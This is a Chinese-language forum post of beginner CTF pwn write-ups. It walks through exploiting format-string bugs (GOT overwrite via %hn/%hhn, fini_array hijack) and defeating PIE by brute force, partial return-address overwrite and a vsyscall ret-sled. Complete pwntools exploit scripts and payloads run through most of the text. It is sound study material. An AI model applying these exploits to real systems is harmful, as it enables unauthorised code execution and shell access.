首页
论坛
课程
招聘
[原创]新人PWN入坑总结(三)
2021-8-2 17:32 8841

[原创]新人PWN入坑总结(三)

2021-8-2 17:32
8841

不多说接上文

格式化字符串0x06

一、MMA CTF 2nd 2016-greeting

1.常规checksec,开了canary和NX。IDA打开找漏洞,main函数中格式化字符串漏洞:

#注释头


char v5; // [esp+5Ch] [ebp-44h]
char s; // [esp+1Ch] [ebp-84h]
-----------------------------------------------------
if ( !getnline(&v5, 64) )
sprintf(&s, "Nice to meet you, %s :)\n", &v5);
return printf(&s);

2.再找system,有导入,没有binsh,没有Libc。用格式化字符串修改某个函数的got表指向system函数,然后再次运行程序得以输入binsh传给该函数,相当于调用system函数,之后就可以getshell。但是发现该程序中没有循环,修改之后没办法再次输入。

3.这里需要用到c语言的结构执行:

c语言编译后,执行顺序如图所示,总的来说就是在main函数前会调用.init段代码和.init_array段的函数数组中每一个函数指针。同样的,main函数结束后也会调用.fini段代码和.fini._arrary段的函数数组中的每一个函数指针。

4.利用Main函数结束时会调用fini段的函数组这一个特点,我们尝试找到fini函数组的地址,利用格式化字符串漏洞来修改该地址,修改.fini_array数组的第一个元素为start,使得Main函数退出时运行该地址可以重复回到start来再次执行一次输入。

5.fini_array段的地址直接ctrl+s就可以找到,内容是__do_global_dtors_aux_fini_array_entry dd offset __do_global_dtors_aux,保存的内容是一个地址,该地址对应是一个代码段,该代码段的函数名为__do_global_dtors_aux proc near。其它函数对应的got,plt可以通过elf.pot\\elf.plt对应的来搜索。

6.但是这里存在一个问题,要将什么地址劫持为system函数?这个地址必须是在getline最后或者是之后,而且还需要有参数来执行binsh。第一个想到的是sprintf,因为该函数在getline函数之后,并且从右往左数第一个参数就是我们保存的内容,但是尝试过后发现崩溃了,修改是能修改,但是传参的时候有点问题。后面查看该函数汇编代码:

可以看到查看该函数从栈上取的第一个参数应该是s这个数组,而不是我们穿的v5,而如果劫持为system函数,那么就要求栈上的esp指向的内容的地址是binsh字符串,但是这里确实指向s这个数组中的内容,为空,那么system函数就没办法调用成功了。后面又看printf函数,还是不行,因为这里printf函数的参数也是s这个数组,内容此时为空,无法顺利调用。之后再找,经过getnline函数内部可以发现有个strlen函数:

#注释头

#代码中的形式:
if ( !getnline(&v5, 64) )
----------------------------------------------------------------
getnline(char *s, int n)
return strlen(s);

#该函数原型:
unsigned int strlen(const char *str);
-------------------------------------------------------
#system函数原型:
int system(const char *command);

system函数调用规则是需要一个地址,地址上保存的内容是binsh字符串,或者直接"binsh"字符串赋予,C语言中就代表在全局变量中开辟一块内存,然后该内存保存的是binsh字符串,然后将该内存的地址赋予给system函数当作参数运行。总之就是system函数需要的参数是一个地址。

这里的strlen满足这个条件,虽然上面写的只是s,但是s中保存的内容是一个地址,输入AAAA,通过调试查看内容:

同样的,查看下汇编代码:

可以看到[esp+s]相当于是取s的栈地址赋值给eax,然后eax赋值给esp栈顶,这两行破代码有病,一毛一样。所以现在跳转进strlen中的话,esp的值也就是参数,是一个栈上地址,内容就是AAAA。也就相当于在strlen中的s的值是一个地址,那么劫持后,就相当于system(s),同样可以getshell。

▲劫持为system函数,要求原函数的参数也应该是一个地址才行,不然无法跳转。

7.确定攻击思路后,开始计算偏移,先用IDA简单远程调试,输入AAAA,然后将程序一直运行至printf处,可以看到栈中的偏移为12.5处会出现A的ascii值,也就是41。由于我们需要栈中完整的对应地址,所以需要输入aa填充两个字节,来使得偏移量从12.5到13处,从而能够完整地输入我们需要修改的地址。

8.之后编写payload,这里使用控制字符%hn(一次改动两个字节)来修改:

payload = ‘aa’+p32(fini_array_addr+2) + p32(fini_array_addr) + p32(strlen_got+2) + p32(strlen_got) + str(格式化fini+2) + str(格式化fini) + str(格式化strlen_got+2) + str(格式化strlen_got)

9.之后还得确定输出的值:

#注释头

fini_array = 0x08049934
start_addr = 0x080484f0
strlen_got = 0x08049a54
system_plt = 0x08048490

查看代码,由于sprintf的作用,printf的参数s保存的不止有我们输入的,还有Nice to meet you,计算加上aa可得总共有8f-7c+1=0x14个,再加上三个32位的地址12字节,总共32字节,也就是0x20。(计算截至为 str(格式化fini+2)处)

10.另外由于.fini_array的内容为0x080485a0(按d可查看数据),而我们需要更改的start地址为0x080484f0,所以只需要改动大端序列中的85a0变成84f0即可。所以格式化.fini中需要再输出的字节数应该是0x84f0-0x20=0x84D0=34000。而0x08049934+2处的内容本身就是0804,不需要修改。所以只需要修改.fini_array_addr对应的内容即可,(.fini_array+2对应的内容本身就是0804,不用修改)。所以payload可以删去p32(fini_array_addr+2)和str(格式化fini+2)。

11.接着计算,需要将strlen_got+2处的值改成0804,由于之前已经输出了0x84f0所以需要用到数据截断。也就是格式化内容中需要再输出的字节数为0x10804-0x84f0=0x8314=33556。

然后再计算strlen_got的值,需要再输出0x18490-0x10804=0x7c8c=31884。

故都计算完毕,最后payload为:

payload = ‘aa’ + p32(fini_array_addr) + p32(strlen_got+2) + p32(strlen_got) + ’%34000c%12$hn’ + ‘%33556c%13$hn’ + ‘%31884c%14$hn’

12.payload之后,运行完第一次的printf之后,程序会回到start,之后需要再输入字符串io.sendline('/bin/sh\x00')来完整运行system,从而getshell。


二、Format_x86和format_x64

★32位程序:

1.常规checksec,只开了NX。打开IDA查漏洞,main函数中格式化字符串漏洞:

#注释头

memset(&buf, 0, 0x12Cu);
read(0, &buf, 0x12Bu);
printf(&buf);

2.这里会有一个重复读取的循环,开shell需要system函数和binsh字符串,这里只有system函数,got和plt都对应有,没有binsh字符串,没有libc。

3.由于printf漏洞,我们可以利用这个漏洞向指定的内存地址写入指定的内容,这里考虑将printf的got中的值更改system函数plt表项的值。原本如果调用printf函数,则相当于执行printf函数的got表中保存的printf函数的真实地址处的代码,更改之后相当于执行system函数plt表地址处的代码,也就相当于调用system函数。原理如下:

原本执行Printf函数:相当于执行printf的执行代码

#注释头

printf_got_addr:   7Fxxxxxx
7Fxxxxxx:          printf的执行代码

更改之后:相当于执行jmp system_got代码,那就相当于执行system函数了

#注释头

printf_got_addr:          08048320(system_plt)
08048320(system_plt):     jmp system_got

4.那么预想程序总流程如下:第一次读取,输入payload,然后printf执行,将printf的got表更改为system函数plt表。通过while循环,第二次读取,输入binsh字符存入buf中,此时printf(&buf),相当于system(&buf),那就相当于system(binsh),即可直接getshell。

5.编写payload,首先需要计算一下偏移地址,将断点下在call printf上,通过调试能够查看到printf写入栈中的地址距离esp的偏移量为6,所以使用控制字符%n来将printf劫持到system,这里偏移就会成n-1为5。偏移代表的是取参数的时候的偏移量,下面的payload对应的5,6,7,8就对应向地址print_got,print_got+1,print_got+2,print_got+3写入内容。由于是修改地址,所以用%hhn来逐个修改,防止向服务器发送过大数据从而出错。

(1)找到got表和plt表项的值

#注释头

printf_got = 0x08049778
system_plt = 0x08048320

(2)32位程序,4个字节一个地址,所以需要四个地址:

#注释头

payload = p32(printf_got)
payload += p32(printf_got+1)
payload += p32(printf_got+2)
payload += p32(printf_got+3)

(3)由于是大端序,低地址保存的是高地址的内容,print_got需要保存的应该是system_plt的最后一个字节,也就是0x20。

①由于前面已经输入了p32(printf_got)+p32(printf_got1)+p32(printf_got2)+p32(printf_got3),这些在没有遇到%之前一定会被打印出来,共计16个字节,而我们需要让它总共打印出0x20个字节,所以我们再打印(0x20-16)个字节。

②同样,由于前面已经打印了0x20个字节,我们总共需要打印0x83个字节,所以应该再让程序打印%(0x83-0x20)个字节,之后道理相同。

#注释头


payload += "%"
payload += str(0x20-16)
payload += "c%5$hhn"
#写入0x20到地址print_got

payload += "%"
payload += str(0x83-0x20)
payload += "c%6$hhn"
#写入0x83到地址print_got+1

payload += "%"
payload += str(0x104-0x83)
payload += "c%7$hhn"
#写入0x04到地址print_got+2,0x104被截断为04

payload += "%"
payload += str(0x108-0x104)
payload += "c%8$hhn"
#写入0x08到地址print_got+3,0x108被截断为08

▲为了便于理解,下面代码也行:

#注释头

payload = p32(printf_got+1) 
#使用hhn写入,分别对应待写入的第3,4,2,1字节
payload += p32(printf_got)
payload += p32(printf_got+2)
payload += p32(printf_got+3)

payload += "%"
payload += str(0x83-16) #被写入的数据,注意四个地址长度是16,需要减掉
payload += "c%5$hhn"

payload += "%"
payload += str(0x120-0x83)
payload += "c%6$hhn"

payload += "%"
payload += str(0x204-0x120) #由于是hhn所以会被截断,只留后两位
payload += "c%7$hhn"

payload += "%"
payload += str(0x208-0x204)
payload += "c%8$hhn"

6.其实可以直接使用类Fmtstr,效果一样,将Payload替换成下列代码即可

payload = fmtstr_payload(5, {printf_got:system_plt})

7.之后再io.sendline('/bin/sh\x00'),即可getshell

 

★64位程序

1.由于64位,传参的顺序为rdi, rsi, rdx, rcx, r8, r9,接下来才是栈,所以偏移量应该是6指向栈顶。之后考虑使用fmtstr来直接构造获取:

payload = fmtstr_payload(6, {printf_got:system_plt})

但是这个方法会出错,因为在这种情况下,我们的地址如下

#注释头

printf_got = 0x00601020
system_plt = 0x00400460

需要写入地址printf_got的首两位是00,且以p64形式发送,所以先发送的是0x20,0x10,0x60,0x00,0x00.......而Read函数读到0x00就会截断,默认这是字符串结束了,所以之后的都无效了。

2.那么考虑手动方式,将p64(printf_got)放在payload的末尾,这样就只有最后才会读到0x00,其它的有效数据都能读入。

3.使用手动方式就需要再次计算偏移量,我们的payload构成应该是

payload = ”%”+str(system_plt)+”c%8$lln” + p64(printf_got)

这里偏移量为8是因为经过调试发现我们的输入从栈顶开始计算,也就是从栈顶开始,一共输入了

1(%) + 7(0x400460转换成十进制为4195424,也就是7个字节) + 7(“c%8$lln”) + 8(p64_printf_got)=23个字节。

经过计算我们发现,p64前面的字节数为15个字节,不足8的倍数,这样会导致printf_got的最后一个字节20被截断至偏移量为7的位置,从而使得偏移量为8的位置只有6010,导致出错。所以我们需要填充一个字节进去,让它不会被截断。

#注释头

payload = ”a%” + str(system_plt-1)+”c%8$lln” + p64(printf_got)

加入一个字节a就可以使得在参数偏移量为6和7的位置中不会截断0x601020。同时加入字节a就要使system_plt-1来满足最终打印的字符个数为0x00400460,从而才能成功将0x00400460(system_plt)写入到0x00601020(printf_got)

5.完成payload之后,再次循环进入,输入io.sendline('/bin/sh\x00')后interactive()即可getshell

参考资料:

https://bbs.ichunqiu.com/forum.php?mod=collection&action=view&ctid=157



爆破绕过PIE0x07

一、BCTF 2017-100levels

1.常规checksec,开启了NX和PIE,不能shellcode和简单rop。之后IDA打开找漏洞,E43函数中存在栈溢出漏洞:

#注释头

__int64 buf; // [rsp+10h] [rbp-30h]
--------------------------------------------------
read(0, &buf, 0x400uLL);

有栈溢出那么首先想到是应该查看有没有后门,但是这个程序虽然外部引用了system函数,但是本身里并没有导入到.got.plt表中,没办法直接通过.got.plt来寻址。而且开了PIE,就算导入到.got.plt表中,也需要覆盖返回地址并且爆破倒数第四位才能跳转到system函数。虽然有栈溢出,但是没有后门函数,同样也没办法泄露Libc地址。

2.想getshell,又只有一个栈溢出,没有其它漏洞,还开了PIE和NX,那么一定得泄露出地址才能做,而printf地址也因为PIE没办法直接跳转。陷入卡顿,但是这里可以查看E43函数中的printf的汇编代码:

只能通过栈溢出形式来为下一次的printf赋参数来泄露。又由于PIE,也不知道任意一个函数的代码地址,那也没办法泄露被加载进入Libc中的内存地址。

3.通过调试可以看到,进入E43函数中,抵达printf函数时,栈顶的上方有大量的指向libc的地址:

并且观察E43函数中的汇编代码,可以看到Printf是通过rbp取值的,那么我们可以通过栈溢出修改rbp来使得[rbp+var_34]落在其它地方,而如果这个其它地方有libc地址,那么就相当于泄露出了Libc地址。

4.这个关卡数是由我们设置的,而且通过递归调用E43函数,形成多个E43的栈,那么进行调试,第二次进入E43的栈之后,仍然在运行到printf函数时,栈顶上方仍旧有大量的Libc地址。由于我们需要修改rbp来使得下一次的printf打印出libc地址,那么关卡最低需要设置两关,第一关用来栈溢出,修改rbp,使得第二关中的printf函数指向栈顶上方从而打印出Libc地址。

5.由于栈的随机化,我们如果随意修改rbp那么就会打印出奇怪的东西,所以修改rbp的最后一个字节,使得[rbp+var_34]能够移动一定范围,以一定几率命中栈顶上方。而又由于是递归调用,第一关的栈在第二关的栈的上方,模型大致如下:

(1)第一次rbp和rsp以及第二次的如图:

   

(2)第一次栈以及第二次栈如图:

▲这里用的是Libc-2.32的,用其他的Libc就不太一样,具体情况具体分析。

6.这里的模型是假设第一次的rsp栈顶后两位为00,但是由于栈地址随机化,所以rsp其实可以从0x00-0xFF之间变化,对应的地址也就是从0-31之间变化。

7.这里先考虑第一个问题,rbp-var34如何落到libc空间中,也就是当0往下移动,变化为大约是4或者5时,即可落到libc空间。同样的,从5-16变化,都可以使得rbp-var34落在libc空间。但是如果0变化成16以上,对应的第二次栈空间rbp就会变成32以上,换算成16进制为0x100,这时修改最后两位,就会变成0x15c,使得它不但不往上走,更会往下走,从而没办法落到libc空间。总而言之,慢慢研究下,然后计算概率大约为12/32=3/8,可以使得落在Libc空间。这里的5c可以改变成其它值x,但是需要x-0x34为8的倍数才行,不然取到的地址会是截断的,但是修改后成功概率会发生改变,因为0x5c扫到的地址范围大概就是libc的栈空间。

8.落在libc空间不代表一定就会落在指向Libc地址上,前面可以看到,在16个地址范围内大概为7个,也就是1/2的概率成功。然后由于有v2%a1这个运算,也就对应汇编代码idiv    [rbp+var_34],这就导致如果rbp+var_34的数据为0那么就会产生除零操作,这里没办法去掉。需要进行try操作来去除这个错误,使程序重新运行,进行自动化爆破。同时泄露出来的地址会发现有时候是正数有时候是负数。这是因为我们只能泄露出地址的低32位,低8个十六进制数。而这个数的最高位可能是0或者1,转换成有符号整数就可能是正负两种情况。这里进行处理可避免成功率下降:

#注释头

if addr_l8 < 0:
addr_l8 = addr_l8 + 0x100000000

9.但是泄露出来的地址由于printf的参数是%d,所以打印出来的是32位地址,还需要猜剩下32位。但是这里有个技巧,貌似所有64程序加载后的代码段地址都在0x000055XXXXXXXXXX-0x000056XXXXXXXXXX之间徘徊,对应的libc加载段在0x00007EXXXXXXXXXX-0x00007FXXXXXXXXXX范围,以下是测试数据:

程序开头段.load首地址和debug段首地址:

#注释头

00007F1301D2A000  
000056238FCAB000
差值为28EF 7207 F000

00007FCB31061000
000055D513E06000
差值为29F6 1D25 B000

00007F58EFF09000
000055F7C1BEC000
差值为2983 DC10 3000

具体原理好像是PIE源代码随机的关系,但具体不太清楚,能用就行。所以高32位就可以假设地址为0x00007fxx,所以这里需要爆破0x1ff大小,也就是511,相当于512次,但是其实可以知道,大概率是落在0x7f里,看数据分析也可以知道,所以实际爆破次数基本在500次以内。所以将泄露出来的地址加上一个在0x7f里的值,也就是addr = addr_l8 + 0x7f8b00000000,之后再根据Libc空间中指向libc地址的后两位来区分地址:并减去在libc中查到的偏移量即可得到Libc基地址。

#注释头

if hex(addr)[-2:] == '0b': #__IO_file_overflow+EB
libc_base = addr - 0x7c90b

elif hex(addr)[-2:] == 'd2': #puts+1B2
libc_base = addr - 0x70ad2

elif hex(addr)[-3:] == '600':#_IO_2_1_stdout_
libc_base = addr - 0x3c2600

elif hex(addr)[-3:] == '400':#_IO_file_jumps
libc_base = addr - 0x3be400

elif hex(addr)[-2:] == '83': #_IO_2_1_stdout_+83
libc_base = addr - 0x3c2683

elif hex(addr)[-2:] == '32': #_IO_do_write+C2
libc_base = addr - 0x7c370 - 0xc2

elif hex(addr)[-2:] == 'e7': #_IO_do_write+37
libc_base = addr - 0x7c370 - 0x37

所以算上命中概率,其实调试的时候可以看到,第一关的栈空间中由于程序运行结果也会有几个指向Libc地址,加上这几个也可以提高成功率,因为修改的rbp也是有可能落在第一关的栈空间。总的爆破次数应该就是500/((1/2)*(3/8)),约为2500次,还能接受。

10.泄露出Libc地址之后一般就有两种方法,一种是利用栈溢出,调用万能gadget用system函数进行binsh字符串赋值,从而getshell。还有一种就是,利用one_gadget来getshell,通过查看E43返回时的汇编代码有一个move eax,0;满足libc-2.23.so的其中一个one_gadget的条件,那么直接用就行。

11.最后libc基地址加上one_gadget的偏移地址就可以得到one_gadget的实际地址。

one_gadget = libc_base + 0x45526

之后在第二关中再次进行栈溢出覆盖rip来跳转到one_gadget即可getshell。

 

参考资料:

https://bbs.ichunqiu.com/forum.php?mod=collection&action=view&ctid=157

 


二、HITB GSEC CTF 2017-1000levels

1.与之前BCTF 2017-100levels一模一样,只不过最大值变成了1000关,所以这里也同样可以用爆破来做,但是可以用另一种方法,vsyscall。

2.进入IDA可以看到有一个hint函数,而且里面有system函数,但是很奇怪:

#注释头

sprintf((char *)&v1, "Hint: %p\n", &system, &system);

这个代码没怎么看懂,还是看下汇编代码:

这里就是将system的地址赋值给rax,然后rax给栈上的[rbp+var_110]赋值。之后也没有什么其它的更改栈上[rbp+var_110]的操作,所以进入hint函数之后,一定会将system函数放到栈上,通过调试也可以看出来。

3.之后进入go函数,发现如果第一次输入负数,原本将关卡数赋值给[rbp+var_110]的操作就不会被执行,那么[rbp+var_110]上保存的仍然是system函数的地址。之后再输入关卡数,直接加到[rbp+var_110]上,那么如果第一次输入负数,第二次输入system函数和one_gadget的偏移,那么就变相将[rbp+var_110]上存放的内容保存为one_gadget的地址。

▲这里需要注意的是,[rbp+var_110]是在hint函数中被赋值的,而go函数中用到的也是[rbp+var_110]这个变量,但是不同函数栈肯定是不同的,所以这里两个[rbp+var_110]是不是一样的就值得思考一下。看程序可以发现,hint函数和go函数都是在main函数中调用的,那么如果调用的时候两处的rsp是一样的就可以保证两个函数的rbp一样,也就代码[rbp+var_110]也是一样的。查看汇编代码:

可以看到从读取选项数据之后,到判断语句一直没有push,pop之类的操作,也就是说程序无论是运行到hint函数还是go函数时,main函数栈的状态都是一样的,从而导致进入这两个函数中的栈底也都是同一个地址,那么[rbp+var_110]也就一样,所以用hint函数来为[rbp+var_110]赋值成system函数,再用go函数来为[rbp+var_110]赋值为one_gadget这条路是可以的,同样可以调试来确定一下。

4.那么赋值之后进入level关卡函数,由于递归关系,最后一关的栈是和go函数的栈连在一起的,所以可以通过最后一关的栈溢出抵达go函数的栈,从而抵达[rbp+var_110]这个地址处。

5.但是栈溢出只能修改数据,就算控制eip,但是也并不知道[rbp+var_110]处的真实地址,只能通过调试来知道偏移是多少。所以这里需要用的vsyscall来将rsp下挪到[rbp+var_110]处从而执行vsyscall的ret操作来执行[rbp+var_110]处的代码,也就是one_gadget。

6.这里看一下vsyscall处的数据:

▲vsyscall的特点:

(1)某些版本存在,需要用到gdb来查看,IDA中默认不可见。

(2)地址不受到ASLR和PIE的影响,固定是0xffffffffff600000-0xffffffffff601000。

(3)不能从中间进入,只能从函数开头进入,意味着不能直接调用里面的syscall。这里vsyscall分为三个函数,从上到下依次是

A.gettimeofday: 0xffffffffff600000

B.time: 0xffffffffff600400

C.getcpu: 0xffffffffff600800

(4)gettimeofday函数执行成功时返回值就是0,保存在rax寄存器中。这就为某些one_gadget创造了条件。

7.观察代码可以发现,三个函数执行成功之后相当于一个ret操作,所以如果我们将gettimeofday放在eip处,那么就相当于放了一个ret操作上去,而ret操作又相当于pop  eip,那么就相当于直接将rsp往下拉了一个单位。如果我们多次调用gettimeofday,那么就可以将rsp下拉多个单位,从而抵达我们想要的地方来执行代码。那么这里就可以将eip改成gettimeofday,然后在之后添加多个gettimeofday来滑到one_gadget来执行代码。

8.所以现在就可以编写exp了

(1)前置内容:

#注释头

libc_system_offset = 0x432C0					
#减去system函数离libc开头的偏移
one_gadget_offset = 0x43158				
#加上one gadget rce离libc开头的偏移
vsyscall_gettimeofday = 0xffffffffff600000

io.recvuntil('Choice:')
io.sendline('2') #让system的地址进入栈中
io.recvuntil('Choice:')
io.sendline('1') #调用go()
io.recvuntil('How many levels?')
io.sendline('-1') #输入的值必须小于0,防止覆盖掉system的地址
io.recvuntil('Any more?')
io.sendline(str(one_gadget_offset-libc_system_offset))		
#第二次输入关卡的时候输入偏移值,从而通过相加将system的地址变为one gadget rce的地址

这里由于相加关系,levels=system_addr + one_gadget_offset - libc_system_offset,肯定超过999,所以关卡数一定是1000关。

(2)开始循环答题,直至到达最后一关执行栈溢出:

#注释头

def answer():
    io.recvuntil('Question: ') 
    answer = eval(io.recvuntil(' = ')[:-3])
    io.recvuntil('Answer:')
    io.sendline(str(answer))
for i in range(999): #循环答题
    log.info(i)
    answer()

(3)最后一关执行栈溢出,利用gettimeofday滑至one_gadegt从而getshell。

#注释头

io.recvuntil('Question: ')
io.send(b'a'*0x38 + p64(vsyscall_gettimeofday)*3)
io.interactive()

▲以下是测试[rbp+var_110]的数据:

main函数中的rbp:    00007FFD3A854900

hint函数中的rbp:      00007FFD3A8548C0

go函数中的rbp:        00007FFD3A8548C0

▲vsyscall用法:

vsyscall直接进行syscall,并没有利用栈空间,所以在处理栈溢出,但是由于PIE没有别的地址可以用时,而栈上又有某个有用的地址的时候,可以通过vsyscall构造一个rop链来ret,每次ret都会消耗掉一个地址,将rsp下拉一个单位,这样就可以逐渐去贴近想要的那个地址,最后成功ret到相应的位置。

▲vdso的特点:

(1)vdso的地址随机化的,且其中的指令可以任意执行,不需要从入口开始。

(2)相比于栈和其他的ASLR,vdso的随机化非常的弱,对于32的系统来说,有1/256的概率命中。

(3)不同的内核随机程度不同:

A.较旧版本:0xf76d9000-0xf77ce000

B.较新版本:0xf7ed0000-0xf7fd0000

C.其它版本:

可以编译以下文件之后用脚本查看:

//注释头

// compiled: gcc -g -m32 vdso_addr.c -o vdso_addr
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main()
{
    printf("vdso addr: %124$p\n");//这里的偏移不同内核不一样,可调试一下看看。
    return 0;
}

查看脚本:


#注释头

#!/usr/bin/python
# -*- coding:utf-8 -*-

import os

result = []
for i in range(100):
    result += [os.popen('./vdso_addr').read()[:-1]]

result = sorted(result)

for v in result:
    print (v)

▲vdso的用法:与vsystem类似,泄露出地址后相当于有了syscall。另外32位条件下有__kernel_rt_sigreturn,可以打SROP。

 

 

参考资料:

https://bbs.ichunqiu.com/forum.php?mod=collection&action=view&ctid=157

https://xz.aliyun.com/t/5236

 

三、DefCamp CTF Finals 2016-SMS

1.常规checksec操作,开了PIE和NX,首先shellcode不能用。其次PIE表示地址随机化,也就是没办法覆盖返回地址来直接跳转到我们想要的函数处。IDA打开找漏洞,可以看到在doms函数中的v1的栈地址被传递给set_user和set_sms

之后set_user中会读取输入保存在S这个栈地址上,然后从s中读取前四十个字节到a1[140]-a1[180],这个a1就是doms函数中的v1。

再往后看,在set_sms函数中,同样读取1024个字节到S这个栈变量中,并且最后将S的特定长度strncpy给a1,这个特定长度就是a1[180]。所以这里我们可以通过set_user来控制a1[180],进而控制set_sms函数中strncpy给a1拷贝的长度,也就是doms函数中v1的长度,使其大于v1距离栈底的距离0xc0,从而在doms函数栈中执行栈溢出,而doms函数中的v1也就是a1,是在set_sms中由我们输入到S上的内容拷贝过去的,长度为0x400,完全可控。

另外程序存在后门frontdoor(),只要进入这个函数,再输入binsh字符串就能getshell。

2.所以现存在doms函数栈溢出,后门函数这两个漏洞,但是由于PIE,在程序运行过程中没办法确定frontdoor()的地址,无法直接覆盖doms函数返回地址到达后门函数

3.这里就需要用到内存页的一个知识点,由于一个内存页的大小为0x1000,而frontdoor()函数和dosms函数和main函数等等函数,都在同一个内存页上,所以在64位程序下他们的函数地址都是0x############x***这种类型,前面12位#每次加载都不一样,而后面的三位***不会发生改变,因为都在0x0000563cc913(x)000 - 0x0000563cc913(x+1)000这个内存页上。用IDA打开按ctrl+s可以看到

这些段都在0x0000563cc913(x)000 - 0x0000563cc913(x+1)000这个内存页上。而开启了PIE程序的,0000563cc913(x)这个数值每次都会变化,但是最后三位是不会改变的,就是固定相对于这个内存页起始位置的偏移。

4.所以覆盖返回地址时,可以想到,dosms函数的返回地址是call dosms下一条指令,也就是在main函数上,而frontdoor函数的地址与main函数的地址都在0x0000563cc913(x)这个内存页上。所以当程序被加载,0x0000563cc913(x)这个数值发生改变时,frontdoor函数和main函数地址中对应的数值也会相应改变,而且都是一样的。这种情况下,就可以通过修改dosms返回地址的后四位,也就是之前的(x)yyy来跳转到frontdoor。

5.如果直接爆破,按照数学期望需要尝试0xffff+1=65535+1这么多次,太巨大。这里又考虑到yyy时不会改变的,所以用IDA可以看到frontdoor函数的后三位地址为900,我们在写payload的时候直接写入即可,就是PIE也不会发生改变。现在唯一不确定的就是(x)yyy中的x。直接爆破就好,平均尝试的数学期望为f+1=16次,也不算太高。

6.所以尝试写payload:

(1)修改set_user中的a1[180]的值:

#注释头

def setlength():
    io.recvuntil('> ')
    payload_setlength = 'a'*40 #padding
    payload_setlength += '\xca' 
    io.sendline(payload_setlength)

(2)执行栈溢出,覆盖返回地址的低两个字节为"\x(x)9"和"\x01"(大端序,注意顺序)

#注释头

def StackOverflow():
    io.recvuntil('> ')
    payload_StackOverflow = 'a'*200 #padding
    payload_StackOverflow += '\x01\xa9' 
    #frontdoor的地址后三位是0x900, +1跳过push rbp,影响
    io.sendline(payload_StackOverflow)

这里跳过push rbp的原因是因为strncpy的关系,如果发送的是\x00,\xa9,那么先复制\x00,则会由于strncpy的机制提前结束复制,造成a9没办法复制进去,从而程序出错。(发送的由于是fget函数,所以会全盘接受,\x00也会接受,不是读取函数的原因。)而跳过push rbp并不影响frontdoor里面的函数执行,所以不会影响getshell。

(3)由于每次地址随机,所以地址随机成a900的概率为1/16,那么就考虑用自动化来爆破实施:

#注释头

i = 0
while True:
    i += 1
    print i
    io.remote("127.0.0.1",0000)
    setlength()
    StackOverflow()
    try:
        io.recv(timeout = 1) 
        #要么崩溃要么爆破成功,若崩溃io会关闭,io.recv()会触发   EOFError
    except EOFError:
        io.close()
        continue
    else:
        sleep(0.1)
        io.sendline('/bin/sh\x00')
        sleep(0.1)
        io.interactive() #没有EOFError的话就是爆破成功,可以开shell
        break

▲如果直接process本地则没办法成功运行,需要用socat转发,用127.0.0.1本地连接才可以。

 

参考资料:

https://bbs.ichunqiu.com/forum.php?mod=collection&action=view&ctid=157



[注意] 欢迎加入看雪团队!base上海,招聘CTF安全工程师,将兴趣和工作融合在一起!看雪20年安全圈的口碑,助你快速成长!

收藏
点赞0
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回